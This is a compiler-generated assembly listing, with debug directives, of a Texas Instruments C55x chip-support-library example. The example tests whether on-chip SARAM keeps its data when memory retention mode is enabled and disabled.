;******************************************************************************* ;* TMS320C55x C/C++ Codegen PC v4.4.1 * ;* Date/Time created: Sat Sep 29 23:09:04 2018 * ;******************************************************************************* .compiler_opts --hll_source=on --mem_model:code=flat --mem_model:data=large --object_format=coff --silicon_core_3_3 --symdebug:dwarf .mmregs .cpl_on .arms_on .c54cm_off .asg AR6, FP .asg XAR6, XFP .asg DPH, MDP .model call=c55_std .model mem=large .noremark 5002 ; code respects overwrite rules ;******************************************************************************* ;* GLOBAL FILE PARAMETERS * ;* * ;* Architecture : TMS320C55x * ;* Optimizing for : Speed * ;* Memory : Large Model (23-Bit Data Pointers) * ;* Calls : Normal Library ASM calls * ;* Debug Info : Standard TI Debug Information * ;******************************************************************************* $C$DW$CU .dwtag DW_TAG_compile_unit .dwattr $C$DW$CU, DW_AT_name("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c") .dwattr $C$DW$CU, DW_AT_producer("TMS320C55x C/C++ Codegen PC v4.4.1 Copyright (c) 1996-2012 Texas Instruments Incorporated") .dwattr $C$DW$CU, DW_AT_TI_version(0x01) .dwattr $C$DW$CU, DW_AT_comp_dir("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug") ;****************************************************************************** ;* CINIT RECORDS * ;****************************************************************************** .sect ".cinit" .align 1 .field 1,16 .field _PaSs_StAtE+0,24 .field 0,8 .field 1,16 ; _PaSs_StAtE @ 0 .sect ".cinit" .align 1 .field 1,16 .field _PaSs+0,24 .field 0,8 .field 0,16 ; _PaSs @ 0 $C$DW$1 .dwtag DW_TAG_subprogram, DW_AT_name("MEM_init") .dwattr $C$DW$1, DW_AT_TI_symbol_name("_MEM_init") .dwattr $C$DW$1, DW_AT_type(*$C$DW$T$23) .dwattr $C$DW$1, DW_AT_declaration .dwattr $C$DW$1, DW_AT_external $C$DW$2 .dwtag DW_TAG_subprogram, DW_AT_name("MEM_enableRetentionMode") .dwattr $C$DW$2, DW_AT_TI_symbol_name("_MEM_enableRetentionMode") .dwattr $C$DW$2, DW_AT_type(*$C$DW$T$23) .dwattr $C$DW$2, DW_AT_declaration .dwattr $C$DW$2, DW_AT_external $C$DW$3 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$3, DW_AT_type(*$C$DW$T$20) .dwendtag $C$DW$2 $C$DW$4 .dwtag DW_TAG_subprogram, DW_AT_name("MEM_disableRetentionMode") .dwattr $C$DW$4, DW_AT_TI_symbol_name("_MEM_disableRetentionMode") .dwattr $C$DW$4, DW_AT_type(*$C$DW$T$23) .dwattr $C$DW$4, DW_AT_declaration .dwattr $C$DW$4, DW_AT_external $C$DW$5 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$5, DW_AT_type(*$C$DW$T$20) .dwendtag $C$DW$4 $C$DW$6 .dwtag DW_TAG_subprogram, DW_AT_name("printf") .dwattr $C$DW$6, DW_AT_TI_symbol_name("_printf") .dwattr $C$DW$6, DW_AT_type(*$C$DW$T$10) .dwattr $C$DW$6, DW_AT_declaration .dwattr $C$DW$6, DW_AT_external $C$DW$7 .dwtag DW_TAG_formal_parameter .dwattr $C$DW$7, DW_AT_type(*$C$DW$T$35) $C$DW$8 .dwtag DW_TAG_unspecified_parameters .dwendtag $C$DW$6 .global _testData _testData: .usect ".global",100,0,0 $C$DW$9 .dwtag DW_TAG_variable, DW_AT_name("testData") .dwattr $C$DW$9, DW_AT_TI_symbol_name("_testData") .dwattr $C$DW$9, DW_AT_location[DW_OP_addr _testData] .dwattr $C$DW$9, DW_AT_type(*$C$DW$T$31) .dwattr $C$DW$9, DW_AT_external .global _PaSs_StAtE .bss _PaSs_StAtE,1,0,0 $C$DW$10 .dwtag DW_TAG_variable, DW_AT_name("PaSs_StAtE") .dwattr $C$DW$10, DW_AT_TI_symbol_name("_PaSs_StAtE") .dwattr $C$DW$10, DW_AT_location[DW_OP_addr _PaSs_StAtE] .dwattr $C$DW$10, DW_AT_type(*$C$DW$T$28) .dwattr $C$DW$10, DW_AT_external .global _PaSs .bss _PaSs,1,0,0 $C$DW$11 .dwtag DW_TAG_variable, DW_AT_name("PaSs") .dwattr $C$DW$11, DW_AT_TI_symbol_name("_PaSs") .dwattr $C$DW$11, DW_AT_location[DW_OP_addr _PaSs] .dwattr $C$DW$11, DW_AT_type(*$C$DW$T$28) .dwattr $C$DW$11, DW_AT_external ; F:\t\cc5p5\ccsv5\tools\compiler\c5500_4.4.1\bin\acp55.exe -@f:\\AppData\\Local\\Temp\\2704812 .sect ".text" .align 4 .global _main $C$DW$12 .dwtag DW_TAG_subprogram, DW_AT_name("main") .dwattr $C$DW$12, DW_AT_low_pc(_main) .dwattr $C$DW$12, DW_AT_high_pc(0x00) .dwattr $C$DW$12, DW_AT_TI_symbol_name("_main") .dwattr $C$DW$12, DW_AT_external .dwattr $C$DW$12, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c") .dwattr $C$DW$12, DW_AT_TI_begin_line(0x6f) .dwattr $C$DW$12, DW_AT_TI_begin_column(0x06) .dwattr $C$DW$12, DW_AT_TI_max_frame_size(0x04) .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 112,column 1,is_stmt,address _main .dwfde $C$DW$CIE, _main ;******************************************************************************* ;* FUNCTION NAME: main * ;* * ;* Function Uses Regs : T0,AR1,AR2,AR3,XAR3,SP,TC1,M40,SATA,SATD,RDM,FRCT, * ;* SMUL * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 4 words * ;* (1 return address/alignment) * ;* (2 function parameters) * ;* (1 local values) * ;* Min System Stack : 1 word * ;******************************************************************************* _main: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 AADD #-3, SP .dwcfi cfa_offset, 4 $C$DW$13 .dwtag DW_TAG_variable, DW_AT_name("status") .dwattr $C$DW$13, DW_AT_TI_symbol_name("_status") .dwattr $C$DW$13, DW_AT_type(*$C$DW$T$23) .dwattr $C$DW$13, DW_AT_location[DW_OP_bregx 0x24 2] .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 115,column 2,is_stmt AMOV #$C$FSL1, XAR3 ; |115| MOV XAR3, dbl(*SP(#0)) $C$DW$14 .dwtag DW_TAG_TI_branch .dwattr $C$DW$14, DW_AT_low_pc(0x00) .dwattr $C$DW$14, DW_AT_name("_printf") .dwattr $C$DW$14, DW_AT_TI_call CALL #_printf ; |115| ; call occurs [#_printf] ; |115| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 117,column 2,is_stmt $C$DW$15 .dwtag DW_TAG_TI_branch .dwattr $C$DW$15, DW_AT_low_pc(0x00) .dwattr $C$DW$15, DW_AT_name("_CSL_SARAM_RetentionTest") .dwattr $C$DW$15, DW_AT_TI_call CALL #_CSL_SARAM_RetentionTest ; |117| ; call occurs [#_CSL_SARAM_RetentionTest] ; |117| MOV T0, *SP(#2) ; |117| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 118,column 2,is_stmt MOV *SP(#2), AR1 ; |118| || MOV #1, AR2 CMPU AR2 != AR1, TC1 ; |118| BCC $C$L1,TC1 ; |118| ; branchcc occurs ; |118| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 120,column 3,is_stmt AMOV #$C$FSL2, XAR3 ; |120| MOV XAR3, dbl(*SP(#0)) $C$DW$16 .dwtag DW_TAG_TI_branch .dwattr $C$DW$16, DW_AT_low_pc(0x00) .dwattr $C$DW$16, DW_AT_name("_printf") .dwattr $C$DW$16, DW_AT_TI_call CALL #_printf ; |120| ; call occurs [#_printf] ; |120| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 121,column 2,is_stmt B $C$L2 ; |121| ; branch occurs ; |121| $C$L1: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 124,column 3,is_stmt AMOV #$C$FSL3, XAR3 ; |124| MOV XAR3, dbl(*SP(#0)) $C$DW$17 .dwtag DW_TAG_TI_branch .dwattr $C$DW$17, DW_AT_low_pc(0x00) .dwattr $C$DW$17, DW_AT_name("_printf") .dwattr $C$DW$17, DW_AT_TI_call CALL #_printf ; |124| ; call occurs [#_printf] ; |124| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 127,column 9,is_stmt MOV #0, *(#_PaSs_StAtE) ; |127| $C$L2: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 132,column 9,is_stmt MOV *(#_PaSs_StAtE), AR1 ; |132| MOV AR1, *(#_PaSs) ; |132| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 137,column 1,is_stmt AADD #3, SP .dwcfi cfa_offset, 1 $C$DW$18 .dwtag DW_TAG_TI_branch .dwattr $C$DW$18, DW_AT_low_pc(0x00) .dwattr $C$DW$18, DW_AT_TI_return RET ; return occurs .dwattr $C$DW$12, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c") .dwattr $C$DW$12, DW_AT_TI_end_line(0x89) .dwattr $C$DW$12, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$12 .sect ".text" .align 4 .global _CSL_SARAM_RetentionTest $C$DW$19 .dwtag DW_TAG_subprogram, DW_AT_name("CSL_SARAM_RetentionTest") .dwattr $C$DW$19, DW_AT_low_pc(_CSL_SARAM_RetentionTest) .dwattr $C$DW$19, DW_AT_high_pc(0x00) .dwattr $C$DW$19, DW_AT_TI_symbol_name("_CSL_SARAM_RetentionTest") .dwattr $C$DW$19, DW_AT_external .dwattr $C$DW$19, DW_AT_type(*$C$DW$T$23) .dwattr $C$DW$19, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c") .dwattr $C$DW$19, DW_AT_TI_begin_line(0x92) .dwattr $C$DW$19, DW_AT_TI_begin_column(0x0c) .dwattr $C$DW$19, DW_AT_TI_max_frame_size(0x06) .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 147,column 1,is_stmt,address _CSL_SARAM_RetentionTest .dwfde $C$DW$CIE, _CSL_SARAM_RetentionTest ;******************************************************************************* ;* FUNCTION NAME: CSL_SARAM_RetentionTest * ;* * ;* Function Uses Regs : T0,AR1,AR2,AR3,XAR3,SP,CARRY,TC1,M40,SATA,SATD,RDM, * ;* FRCT,SMUL * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 6 words * ;* (1 return address/alignment) * ;* (2 function parameters) * ;* (3 local values) * ;* Min System Stack : 1 word * ;******************************************************************************* _CSL_SARAM_RetentionTest: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 AADD #-5, SP .dwcfi cfa_offset, 6 $C$DW$20 .dwtag DW_TAG_variable, DW_AT_name("status") .dwattr $C$DW$20, DW_AT_TI_symbol_name("_status") .dwattr $C$DW$20, DW_AT_type(*$C$DW$T$23) .dwattr $C$DW$20, DW_AT_location[DW_OP_bregx 0x24 2] $C$DW$21 .dwtag DW_TAG_variable, DW_AT_name("result") .dwattr $C$DW$21, DW_AT_TI_symbol_name("_result") .dwattr $C$DW$21, DW_AT_type(*$C$DW$T$23) .dwattr $C$DW$21, DW_AT_location[DW_OP_bregx 0x24 3] $C$DW$22 .dwtag DW_TAG_variable, DW_AT_name("looper") .dwattr $C$DW$22, DW_AT_TI_symbol_name("_looper") .dwattr $C$DW$22, DW_AT_type(*$C$DW$T$30) .dwattr $C$DW$22, DW_AT_location[DW_OP_bregx 0x24 4] .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 152,column 2,is_stmt MOV #0, *SP(#3) ; |152| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 155,column 2,is_stmt $C$DW$23 .dwtag DW_TAG_TI_branch .dwattr $C$DW$23, DW_AT_low_pc(0x00) .dwattr $C$DW$23, DW_AT_name("_MEM_init") .dwattr $C$DW$23, DW_AT_TI_call CALL #_MEM_init ; |155| ; call occurs [#_MEM_init] ; |155| MOV T0, *SP(#2) ; |155| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 156,column 2,is_stmt MOV T0, AR1 BCC $C$L3,AR1 == #0 ; |156| ; branchcc occurs ; |156| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 158,column 3,is_stmt AMOV #$C$FSL4, XAR3 ; |158| MOV XAR3, dbl(*SP(#0)) $C$DW$24 .dwtag DW_TAG_TI_branch .dwattr $C$DW$24, DW_AT_low_pc(0x00) .dwattr $C$DW$24, DW_AT_name("_printf") .dwattr $C$DW$24, DW_AT_TI_call CALL #_printf ; |158| ; call occurs [#_printf] ; |158| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 159,column 3,is_stmt MOV *SP(#3), T0 ; |159| B $C$L15 ; |159| ; branch occurs ; |159| $C$L3: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 163,column 7,is_stmt MOV #0, *SP(#4) ; |163| NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 163,column 19,is_stmt MOV #100, AR2 ; |163| MOV *SP(#4), AR1 ; |163| CMPU AR1 >= AR2, TC1 ; |163| BCC $C$L5,TC1 ; |163| ; branchcc occurs ; |163| $C$L4: $C$DW$L$_CSL_SARAM_RetentionTest$4$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 165,column 3,is_stmt MOV *SP(#4), T0 ; |165| AMOV #_testData, XAR3 ; |165| MOV #4660, *AR3(T0) ; |165| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 163,column 48,is_stmt ADD #1, *SP(#4) ; |163| NOP NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 163,column 19,is_stmt MOV *SP(#4), AR1 ; |163| CMPU AR1 < AR2, TC1 ; |163| BCC $C$L4,TC1 ; |163| ; branchcc occurs ; |163| $C$DW$L$_CSL_SARAM_RetentionTest$4$E: $C$L5: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 168,column 2,is_stmt AMOV #$C$FSL5, XAR3 ; |168| MOV XAR3, dbl(*SP(#0)) $C$DW$25 .dwtag DW_TAG_TI_branch .dwattr $C$DW$25, DW_AT_low_pc(0x00) .dwattr $C$DW$25, DW_AT_name("_printf") .dwattr $C$DW$25, DW_AT_TI_call CALL #_printf ; |168| ; call occurs [#_printf] ; |168| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 171,column 2,is_stmt $C$DW$26 .dwtag DW_TAG_TI_branch .dwattr $C$DW$26, DW_AT_low_pc(0x00) .dwattr $C$DW$26, DW_AT_name("_MEM_enableRetentionMode") .dwattr $C$DW$26, DW_AT_TI_call CALL #_MEM_enableRetentionMode ; |171| || MOV #1, T0 ; call occurs [#_MEM_enableRetentionMode] ; |171| MOV T0, *SP(#2) ; |171| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 172,column 2,is_stmt MOV T0, AR1 BCC $C$L6,AR1 == #0 ; |172| ; branchcc occurs ; |172| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 174,column 3,is_stmt AMOV #$C$FSL6, XAR3 ; |174| MOV XAR3, dbl(*SP(#0)) $C$DW$27 .dwtag DW_TAG_TI_branch .dwattr $C$DW$27, DW_AT_low_pc(0x00) .dwattr $C$DW$27, DW_AT_name("_printf") .dwattr $C$DW$27, DW_AT_TI_call CALL #_printf ; |174| ; call occurs [#_printf] ; |174| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 175,column 3,is_stmt MOV *SP(#3), T0 ; |175| B $C$L15 ; |175| ; branch occurs ; |175| $C$L6: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 178,column 2,is_stmt AMOV #$C$FSL7, XAR3 ; |178| MOV XAR3, dbl(*SP(#0)) $C$DW$28 .dwtag DW_TAG_TI_branch .dwattr $C$DW$28, DW_AT_low_pc(0x00) .dwattr $C$DW$28, DW_AT_name("_printf") .dwattr $C$DW$28, DW_AT_TI_call CALL #_printf ; |178| ; call occurs [#_printf] ; |178| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 180,column 7,is_stmt MOV #0, *SP(#4) ; |180| NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 180,column 19,is_stmt MOV #100, AR2 ; |180| MOV *SP(#4), AR1 ; |180| CMPU AR1 >= AR2, TC1 ; |180| BCC $C$L8,TC1 ; |180| ; branchcc occurs ; |180| $C$L7: $C$DW$L$_CSL_SARAM_RetentionTest$8$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 182,column 3,is_stmt NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 180,column 45,is_stmt ADD #1, *SP(#4) ; |180| NOP NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 180,column 19,is_stmt MOV *SP(#4), AR1 ; |180| CMPU AR1 < AR2, TC1 ; |180| BCC $C$L7,TC1 ; |180| ; branchcc occurs ; |180| $C$DW$L$_CSL_SARAM_RetentionTest$8$E: $C$L8: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 185,column 2,is_stmt AMOV #$C$FSL8, XAR3 ; |185| MOV XAR3, dbl(*SP(#0)) $C$DW$29 .dwtag DW_TAG_TI_branch .dwattr $C$DW$29, DW_AT_low_pc(0x00) .dwattr $C$DW$29, DW_AT_name("_printf") .dwattr $C$DW$29, DW_AT_TI_call CALL #_printf ; |185| ; call occurs [#_printf] ; |185| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 188,column 2,is_stmt $C$DW$30 .dwtag DW_TAG_TI_branch .dwattr $C$DW$30, DW_AT_low_pc(0x00) .dwattr $C$DW$30, DW_AT_name("_MEM_disableRetentionMode") .dwattr $C$DW$30, DW_AT_TI_call CALL #_MEM_disableRetentionMode ; |188| || MOV #1, T0 ; call occurs [#_MEM_disableRetentionMode] ; |188| MOV T0, *SP(#2) ; |188| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 189,column 2,is_stmt MOV T0, AR1 BCC $C$L9,AR1 == #0 ; |189| ; branchcc occurs ; |189| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 191,column 3,is_stmt AMOV #$C$FSL9, XAR3 ; |191| MOV XAR3, dbl(*SP(#0)) $C$DW$31 .dwtag DW_TAG_TI_branch .dwattr $C$DW$31, DW_AT_low_pc(0x00) .dwattr $C$DW$31, DW_AT_name("_printf") .dwattr $C$DW$31, DW_AT_TI_call CALL #_printf ; |191| ; call occurs [#_printf] ; |191| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 192,column 3,is_stmt MOV *SP(#3), T0 ; |192| B $C$L15 ; |192| ; branch occurs ; |192| $C$L9: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 196,column 7,is_stmt MOV #0, *SP(#4) ; |196| NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 196,column 19,is_stmt MOV #100, AR2 ; |196| MOV *SP(#4), AR1 ; |196| CMPU AR1 >= AR2, TC1 ; |196| BCC $C$L11,TC1 ; |196| ; branchcc occurs ; |196| $C$L10: $C$DW$L$_CSL_SARAM_RetentionTest$12$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 198,column 3,is_stmt NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 196,column 45,is_stmt ADD #1, *SP(#4) ; |196| NOP NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 196,column 19,is_stmt MOV *SP(#4), AR1 ; |196| CMPU AR1 < AR2, TC1 ; |196| BCC $C$L10,TC1 ; |196| ; branchcc occurs ; |196| $C$DW$L$_CSL_SARAM_RetentionTest$12$E: $C$L11: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 202,column 7,is_stmt MOV #0, *SP(#4) ; |202| NOP NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 202,column 19,is_stmt MOV *SP(#4), AR1 ; |202| CMPU AR1 >= AR2, TC1 ; |202| BCC $C$L14,TC1 ; |202| ; branchcc occurs ; |202| $C$L12: $C$DW$L$_CSL_SARAM_RetentionTest$14$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 204,column 3,is_stmt MOV *SP(#4), T0 ; |204| AMOV #_testData, XAR3 ; |204| CMP *AR3(T0) == #4660, TC1 ; |204| BCC $C$L13,TC1 ; |204| ; branchcc occurs ; |204| $C$DW$L$_CSL_SARAM_RetentionTest$14$E: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 206,column 4,is_stmt AMOV #$C$FSL10, XAR3 ; |206| MOV XAR3, dbl(*SP(#0)) $C$DW$32 .dwtag DW_TAG_TI_branch .dwattr $C$DW$32, DW_AT_low_pc(0x00) .dwattr $C$DW$32, DW_AT_name("_printf") .dwattr $C$DW$32, DW_AT_TI_call CALL #_printf ; |206| ; call occurs [#_printf] ; |206| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 207,column 4,is_stmt MOV *SP(#3), T0 ; |207| B $C$L15 ; |207| ; branch occurs ; |207| $C$L13: $C$DW$L$_CSL_SARAM_RetentionTest$16$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 202,column 48,is_stmt ADD #1, *SP(#4) ; |202| NOP NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 202,column 19,is_stmt MOV *SP(#4), AR1 ; |202| CMPU AR1 < AR2, TC1 ; |202| BCC $C$L12,TC1 ; |202| ; branchcc occurs ; |202| $C$DW$L$_CSL_SARAM_RetentionTest$16$E: $C$L14: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 211,column 2,is_stmt AMOV #$C$FSL11, XAR3 ; |211| MOV XAR3, dbl(*SP(#0)) $C$DW$33 .dwtag DW_TAG_TI_branch .dwattr $C$DW$33, DW_AT_low_pc(0x00) .dwattr $C$DW$33, DW_AT_name("_printf") .dwattr $C$DW$33, DW_AT_TI_call CALL #_printf ; |211| ; call occurs [#_printf] ; |211| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 212,column 2,is_stmt AMOV #$C$FSL12, XAR3 ; |212| MOV XAR3, dbl(*SP(#0)) $C$DW$34 .dwtag DW_TAG_TI_branch .dwattr $C$DW$34, DW_AT_low_pc(0x00) .dwattr $C$DW$34, DW_AT_name("_printf") .dwattr $C$DW$34, DW_AT_TI_call CALL #_printf ; |212| ; call occurs [#_printf] ; |212| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 214,column 2,is_stmt MOV #1, *SP(#3) ; |214| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 216,column 2,is_stmt MOV *SP(#3), T0 ; |216| $C$L15: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/memory/CSL_MEMORY_SARAM_RetentionExample/csl_saram_retention_example.c",line 217,column 1,is_stmt AADD #5, SP .dwcfi cfa_offset, 1 $C$DW$35 .dwtag DW_TAG_TI_branch .dwattr $C$DW$35, DW_AT_low_pc(0x00) .dwattr $C$DW$35, DW_AT_TI_return RET ; return occurs $C$DW$36 .dwtag DW_TAG_TI_loop .dwattr $C$DW$36, 